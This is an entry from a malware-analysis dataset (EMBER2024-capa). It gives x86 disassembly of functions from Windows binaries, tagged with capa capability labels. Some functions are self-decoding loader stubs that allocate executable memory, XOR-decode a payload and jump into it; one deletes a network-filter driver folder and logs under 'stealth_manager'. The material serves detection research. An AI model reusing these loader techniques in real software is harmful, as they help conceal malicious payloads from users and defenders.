joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414aab
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
pushal
call 0x414aba
pop dword [ebp - 0x38]
mov eax, 0x414aba
sub dword [ebp - 0x38], eax
push 0x40
push 0x1000
push 0x3bd14
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x38]
call dword [eax]
mov ecx, 0x17bd3f8a
sub ecx, 0x17bd00ed
mov esi, eax
mov edi, 0x22052009
sub edi, 0x21c19e09
add edi, dword [ebp - 0x38]
mov edx, 0xb1dac86a
mov ebx, dword [edi]
mov dword [ebp - 0x2c], 0xc701d5bf
xor ebx, edx
mov dword [esi], ebx
add dword [ebp - 0x10], ecx
add esi, 0x7942237a
sub esi, 0x79422376
add edi, 0xc2bae2f7
add edi, 0x3d451d0d
loop 0x414b09
add eax, 0xddc7d202
add eax, 0x22391b45
xor ebx, ebx
add ebx, eax
add eax, 0xc52f672
sub eax, 0xc52f66d
mov ecx, 0x400000
add ecx, dword [ebp - 0x38]
call ebx
leave
ret
Function at 0x401d80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c4
call fcn.00403a00
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov ebx, eax
mov edx, eax
shr edx, 8
shr ebx, 0xd
and dl, al
mov dword [ebp - 0x3a9a4], edx
mov cl, bl
and cl, al
sub dl, cl
mov cl, byte [ebp - 0x3a9a4]
sub cl, bl
and dl, cl
xor dl, byte [ebp - 0x3a9a4]
mov byte [ebp + eax - 0x3a988], dl
inc eax
cmp eax, 0x3a980
jb 0x401e04
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9c0], 0x3a980
mov dword [ebp - 0x3a9c4], eax
lea eax, [ebp - 0x3a9c4]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9bc], 0
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c4]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c4]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.00402d10
mov esp, ebp
pop ebp
ret
Function at 0x4024c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x75348
call fcn.00403a00
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor eax, eax
mov dword [ebp - 0x75320], 0
push eax
push eax
push eax
mov word [ebp - 0x7530c], ax
lea eax, [ebp - 0x7531c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x75320]
mov dword [ebp - 0x7531c], 0x10001
push eax
mov dword [ebp - 0x75318], 0x3e80
mov dword [ebp - 0x75314], 0x3e80
mov dword [ebp - 0x75310], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x75300
lea eax, [ebp - 0x75308]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor ecx, ecx
mov eax, ecx
mov bl, cl
shr eax, 8
mov dword [ebp - 0x75324], eax
mov eax, 0xff00ff01
mov esi, dword [ebp - 0x75324]
mul ecx
mov eax, 0x80808081
or esi, ecx
shr edx, 8
sub bl, dl
shr esi, 8
mul ecx
inc esi
mov eax, ecx
shr edx, 7
add dl, cl
or bl, dl
xor edx, edx
div esi
or bl, cl
movsx eax, cl
xor dl, cl
add bl, dl
mov edx, ecx
shr edx, 0xa
and dl, 0x2a
movsx edx, dl
imul edx, eax
mov eax, dword [ebp - 0x75324]
and al, cl
add bl, dl
add bl, al
mov byte [ebp + ecx - 0x75308], bl
inc ecx
cmp ecx, 0x75300
jb 0x402545
lea eax, [ebp - 0x75308]
mov dword [ebp - 0x75340], 0x75300
mov dword [ebp - 0x75344], eax
lea eax, [ebp - 0x75344]
push 0x20
push eax
push dword [ebp - 0x75320]
mov dword [ebp - 0x7533c], 0
mov dword [ebp - 0x75338], 0
mov dword [ebp - 0x75334], 0
mov dword [ebp - 0x75330], 0
mov dword [ebp - 0x7532c], 0
mov dword [ebp - 0x75328], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x75344]
push eax
push dword [ebp - 0x75320]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x75344]
push eax
push dword [ebp - 0x75320]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x75320]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
pop esi
xor ecx, ebp
pop ebx
call fcn.00402d10
mov esp, ebp
pop ebp
ret
Function at 0x402660
Capabilities:
Encode data using xor
Hash data using murmur3

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c0
call fcn.00403a00
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov edx, eax
mov ecx, eax
shr edx, 0xd
shr ecx, 8
or dl, cl
movsx ecx, al
movsx edx, dl
imul edx, ecx
mov ecx, eax
shr ecx, 0x10
xor cl, al
or dl, cl
sub dl, 0x40
mov byte [ebp + eax - 0x3a988], dl
inc eax
cmp eax, 0x3a980
jb 0x4026e3
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d10
mov esp, ebp
pop ebp
ret
Function at 0x4027c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x3a9c0
call fcn.00403a00
mov eax, dword [0x406004]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
mov dword [ebp - 0x3a9a0], 0
push eax
push eax
push eax
mov word [ebp - 0x3a98c], ax
lea eax, [ebp - 0x3a99c]
push eax
push 0xffffffffffffffff
lea eax, [ebp - 0x3a9a0]
mov dword [ebp - 0x3a99c], 0x10001
push eax
mov dword [ebp - 0x3a998], 0x1f40
mov dword [ebp - 0x3a994], 0x1f40
mov dword [ebp - 0x3a990], 0x80001
call dword [sym.imp.WINMM.dll_waveOutOpen]
push 0x3a980
lea eax, [ebp - 0x3a988]
push 0
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
xor eax, eax
mov cl, al
mov edx, eax
xor cl, 0x3f
shr edx, 5
or dl, cl
mov cl, al
shl cl, 2
or dl, cl
mov ecx, eax
shr ecx, 0xb
and dl, cl
movsx ecx, dl
imul ecx, ecx, 0x64
mov byte [ebp + eax - 0x3a988], cl
inc eax
cmp eax, 0x3a980
jb 0x402843
lea eax, [ebp - 0x3a988]
mov dword [ebp - 0x3a9bc], 0x3a980
mov dword [ebp - 0x3a9c0], eax
lea eax, [ebp - 0x3a9c0]
push 0x20
push eax
push dword [ebp - 0x3a9a0]
mov dword [ebp - 0x3a9b8], 0
mov dword [ebp - 0x3a9b4], 0
mov dword [ebp - 0x3a9b0], 0
mov dword [ebp - 0x3a9ac], 0
mov dword [ebp - 0x3a9a8], 0
mov dword [ebp - 0x3a9a4], 0
call dword [sym.imp.WINMM.dll_waveOutPrepareHeader]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutWrite]
push 0x20
lea eax, [ebp - 0x3a9c0]
push eax
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutUnprepareHeader]
push dword [ebp - 0x3a9a0]
call dword [sym.imp.WINMM.dll_waveOutClose]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00402d10
mov esp, ebp
pop ebp
ret
Function at 0x403546
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x403585
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x403585
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x403585
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x403585
cmp dword [ecx + 0x74], 0xe
jbe 0x403585
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x10008340
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
pop ebp
jmp fcn.100252c0

Function at 0x1005df38
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1005df47
pop dword [ebp - 0x4c]
mov eax, 0x1005df47
sub dword [ebp - 0x4c], eax
mov dword [ebp - 0x5c], 0x28115773
add dword [ebp - 0x5c], 0x2640edd8
mov dword [ebp - 0x58], 0x31ee0d0e
sub dword [ebp - 0x58], 0xffbac0c9
mov dword [ebp - 0x54], 0x6105f20f
sub dword [ebp - 0x54], 0x14b9ade1
mov dword [ebp - 0x50], 0xaba07467
sub dword [ebp - 0x50], 0xaba07467
lea eax, [ebp - 0x5c]
push eax
mov eax, 0x9c8217ea
sub eax, 0x8c7b16de
add eax, dword [ebp - 0x4c]
call dword [eax]
mov dword [ebp - 0x5c], 0x9114797c
sub dword [ebp - 0x5c], 0x1ca21026
mov dword [ebp - 0x58], 0xbd89859b
add dword [ebp - 0x58], 0x83e2dbda
mov dword [ebp - 0x54], 0x4f0f7cca
sub dword [ebp - 0x54], 0xeba0105e
mov dword [ebp - 0x50], 0xa79746de
sub dword [ebp - 0x50], 0xa79746de
lea ebx, [ebp - 0x5c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x4c]
call dword [eax]
push 0x40
push 0x1000
push 0x67503
push 0
call eax
mov ecx, 0x4833
xor ebx, ebx
add ebx, eax
mov esi, 0x10084c00
add esi, dword [ebp - 0x4c]
mov edx, 0x3ef2159b
add edx, 0x1bbd96ef
sub dword [ebp - 0x40], esi
mov edi, dword [esi]
xor dword [ebp - 0x30], edi
add edi, edx
sub dword [ebp - 0x48], 0x72f3eb08
mov dword [ebx], edi
xor dword [ebp - 0x2c], ecx
add ebx, 4
add esi, 0x391623a2
sub esi, 0x3916239e
loop 0x1005e055
add eax, 0x63aebbc2
sub eax, 0x63ada823
xor ebx, ebx
add ebx, eax
add eax, 0x53a481a0
sub eax, 0x53a4819b
mov ecx, 0x9db75d91
sub ecx, 0x8db75d91
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x4010e2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42c004]
jne 0x4010ec
repz ret
jmp fcn.0040154d

Function at 0x404f0b
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x42c004]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00403bf9
and dword [ebp - 0x14], 0
cmp dword [0x42ec78], 0
mov dword [ebp - 0x18], eax
jne 0x404fbe
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0x405066
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0x405066
mov esi, dword [sym.imp.KERNEL32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0x42ec78], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0x42ec7c], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0x42ec80], eax
call edi
push eax
call esi
mov dword [0x42ec88], eax
test eax, eax
je 0x404fbe
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0x42ec84], eax
mov eax, dword [0x42ec84]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, ecx
je 0x405017
cmp dword [0x42ec88], ecx
je 0x405017
push eax
call esi
push dword [0x42ec88]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0x405017
test ebx, ebx
je 0x405017
call edi
test eax, eax
je 0x40500e
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0x40500e
test byte [ebp - 8], 1
jne 0x405017
or dword [ebp + 0x10], 0x200000
jmp 0x40504a
mov eax, dword [0x42ec7c]
cmp eax, dword [ebp - 0x18]
je 0x40504a
push eax
call esi
test eax, eax
je 0x40504a
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0x40504a
mov eax, dword [0x42ec80]
cmp eax, dword [ebp - 0x18]
je 0x40504a
push eax
call esi
test eax, eax
je 0x40504a
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0x42ec78]
call esi
test eax, eax
je 0x405066
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0x405068
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004010e2
leave
ret
Function at 0x420fa0
Capabilities:
Create pipe

Disassembly:
sub esp, 0x24
mov eax, dword [0x42c004]
xor eax, esp
mov dword [esp + 0x1c], eax
mov eax, dword [0x42cdd0]
push ebx
mov ebx, dword [0x2bd224c]
push edi
mov edi, dword [0x2bd46cc]
call fcn.00420f20
cmp dword [0x2bd46cc], 0x2f
jne 0x42100d
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateNamedPipeA]
lea eax, [esp + 0xc]
push eax
lea ecx, [esp + 0x18]
push ecx
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
call fcn.00420f50
mov ecx, dword [esp + 0x24]
pop edi
pop ebx
xor ecx, esp
call fcn.004010e2
add esp, 0x24
ret
Function at 0x421280
Capabilities:
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 4], 0
jmp 0x421298
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x1519a5
jge 0x4212e1
mov dword [0x2bd4334], 0x8e46a6f0
cmp dword [0x2bd46cc], 0x3dc
jne 0x4212df
xor ecx, ecx
mov word [ebp - 8], cx
xor edx, edx
mov word [ebp - 6], dx
lea eax, [ebp - 0xc]
push eax
mov ecx, dword [ebp - 8]
push ecx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputCharacterA]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
jmp 0x42128f
mov dword [ebp - 0x10], 0
jmp 0x4212f3
mov edx, dword [ebp - 0x10]
add edx, 1
mov dword [ebp - 0x10], edx
cmp dword [ebp - 0x10], 0x12cad2a
jge 0x42138e
cmp dword [0x2bd46cc], 0xa5f
jne 0x421314
push 0
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
cmp dword [ebp - 0x10], 0x84620b
jne 0x421339
mov eax, dword [0x42dbf0]
mov dword [0x2bd46cc], eax
mov ecx, dword [0x2bd46cc]
add ecx, 0xa231
mov dword [0x2bd46cc], ecx
cmp dword [0x2bd46cc], 0x141
jne 0x421389
xor edx, edx
mov word [ebp - 0x24], dx
xor eax, eax
mov word [ebp - 0x22], ax
xor ecx, ecx
mov word [ebp - 0x20], cx
xor edx, edx
mov word [ebp - 0x1e], dx
lea eax, [ebp - 0x18]
push eax
mov ecx, dword [ebp - 0x20]
push ecx
mov edx, dword [ebp - 0x24]
push edx
lea eax, [ebp - 0x1c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputA]
mov dword [0x42f1b8], 0xec58acac
mov dword [0x42f1bc], 0xffffffff
jmp 0x4212ea
call fcn.00421030
jmp dword [0x2bd224c]
Function at 0x40a430
Capabilities:
Delete file
Move file

Disassembly:
push esi
push edi
mov edi, ecx
push edi
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov esi, eax
add esp, 4
test esi, esi
je 0x40a458
push 4
push 0
push edi
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40a458
pop edi
mov eax, esi
pop esi
ret
pop edi
xor eax, eax
pop esi
ret

Function at 0x40a5a0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 4]
test eax, eax
jne 0x40a5ae
pop ebp
ret 0xc
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
add esp, 0x10
pop ebp
ret 0xc

Function at 0x40a600
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ecx + 4]
test eax, eax
jne 0x40a60e
pop ebp
ret 0xc
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
add esp, 0x10
pop ebp
ret 0xc

Function at 0x40a740
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x40a753
test al, 0x10
je 0x40a753
mov al, 1
ret
xor al, al
ret

Function at 0x40a760
Capabilities:
Create directory

Disassembly:
push ebx
push ecx
xor bl, bl
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
add esp, 4
test eax, eax
je 0x40a77e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
cmp dword [eax], 0x11
mov al, bl
jne 0x40a780
mov al, 1
pop ebx
ret
Function at 0x40d250
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420332
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x118]
push 0x104
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x11c], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x40d2ce
mov eax, dword [esi]
jmp 0x40d2d0
mov eax, esi
mov byte [eax], 0
cmp byte [ebp - 0x118], 0
jne 0x40d2e0
xor ecx, ecx
jmp 0x40d2f9
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d2f0
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, esi
push eax
call fcn.00404270
push 9
mov dword [ebp - 4], 0
mov ecx, esi
push str._system32
mov dword [ebp - 0x11c], 1
call fcn.00404490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret 4

Function at 0x40d350
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420382
mov eax, dword fs:[0]
push eax
sub esp, 0x114
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov edi, ecx
mov esi, dword [ebp + 8]
lea eax, [ebp - 0x118]
push 0x104
mov dword [ebp - 4], 0
push eax
mov dword [ebp - 0x120], esi
mov dword [ebp - 0x11c], 0
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x14], 0xf
cmp dword [esi + 0x14], 0x10
mov dword [esi + 0x10], 0
jb 0x40d3d1
mov eax, dword [esi]
jmp 0x40d3d3
mov eax, esi
mov byte [eax], 0
cmp byte [ebp - 0x118], 0
jne 0x40d3e3
xor ecx, ecx
jmp 0x40d3f9
lea ecx, [ebp - 0x118]
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d3f0
sub ecx, edx
push ecx
lea eax, [ebp - 0x118]
mov ecx, esi
push eax
call fcn.00404270
mov dword [ebp - 4], 0
mov ecx, esi
cmp byte [edi + 0xc], 0
mov dword [ebp - 0x11c], 1
je 0x40d42a
push 0xa
push str._sysnative
jmp 0x40d431
push 9
push str._system32
call fcn.00404490
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret 4
Function at 0x40d460
Capabilities:
Get common file path
Get program files directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x110
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0
push 0x2a
lea eax, [ebp - 0x108]
mov dword [ebp - 0x110], 0
push eax
mov esi, ecx
push 0
mov dword [ebp - 0x10c], esi
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
mov dword [esi + 0x14], 0xf
mov dword [esi + 0x10], 0
mov byte [esi], 0
cmp byte [ebp - 0x108], 0
jne 0x40d4b7
xor ecx, ecx
jmp 0x40d4c9
lea ecx, [ebp - 0x108]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40d4c0
sub ecx, edx
push ecx
lea eax, [ebp - 0x108]
mov ecx, esi
push eax
call fcn.00404270
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.0041e02b
mov esp, ebp
pop ebp
ret
Function at 0x40e900
Capabilities:
Delete registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4205d8
mov eax, dword fs:[0]
push eax
sub esp, 0x1c
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
push 0x17
xor eax, eax
mov dword [ebp - 0x14], 7
push str.SOFTWAREClassesCLSID_
lea ecx, [ebp - 0x28]
mov dword [ebp - 0x18], 0
mov word [ebp - 0x28], ax
call fcn.004040e0
push 0xffffffffffffffff
push 0
lea eax, [esi + 0x10]
mov dword [ebp - 4], 0
push eax
lea ecx, [ebp - 0x28]
call fcn.00406220
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegDeleteTreeW]
mov eax, dword [ebp - 0x14]
cmp eax, 8
jb 0x40e98e
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00404710
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret
Function at 0x410e10
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x420928
mov eax, dword fs:[0]
push eax
sub esp, 0x50
mov eax, dword [0x42e024]
xor eax, ebp
mov dword [ebp - 0x10], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
sub esp, 0x18
mov eax, esp
push 0x11
push eax
call fcn.0040d1a0
call fcn.00412100
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x410e64
mov eax, dword [ecx]
jmp 0x410e66
mov eax, ecx
push 0xc
push str.de_netfilter
mov byte [eax], 0
call fcn.00404270
call fcn.004122d0
mov ecx, esp
mov dword [ecx + 0x14], 0xf
mov dword [ecx + 0x10], 0
cmp dword [ecx + 0x14], 0x10
jb 0x410e94
mov eax, dword [ecx]
jmp 0x410e96
mov eax, ecx
push 0xc
push str.de_netfilter
mov byte [eax], 0
call fcn.00404270
call fcn.00412100
lea ecx, [ebp - 0x58]
call fcn.0040d010
push 0x423638
mov edx, eax
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
call fcn.00404f40
push str.nfdrive
mov edx, eax
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.00404f40
add esp, 0x20
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x410ef0
inc eax
push eax
push dword [ebp - 0x40]
call fcn.00404770
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x44]
cmp eax, 0x10
jb 0x410f18
inc eax
push eax
push dword [ebp - 0x58]
call fcn.00404770
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
mov dword [ebp - 0x44], 0xf
cmovae eax, dword [ebp - 0x28]
push eax
mov dword [ebp - 0x48], 0
mov byte [ebp - 0x58], 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x410f80
test al, 0x10
je 0x410f80
cmp dword [ebp - 0x14], 0x10
lea ecx, [ebp - 0x28]
cmovae ecx, dword [ebp - 0x28]
call fcn.0040a790
test eax, eax
jne 0x410f6d
push str.Successfully_deleted_nf_driver_folder
push str.stealth_manager
call fcn.00402620
add esp, 8
jmp 0x410f80
push eax
push str.Delete_nf_driver_failed_:__d
push str.stealth_manager
call fcn.00402590
add esp, 0xc
mov eax, dword [ebp - 0x14]
cmp eax, 0x10
jb 0x410f92
inc eax
push eax
push dword [ebp - 0x28]
call fcn.00404770
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0041e02b
mov esp, ebp
pop ebp
ret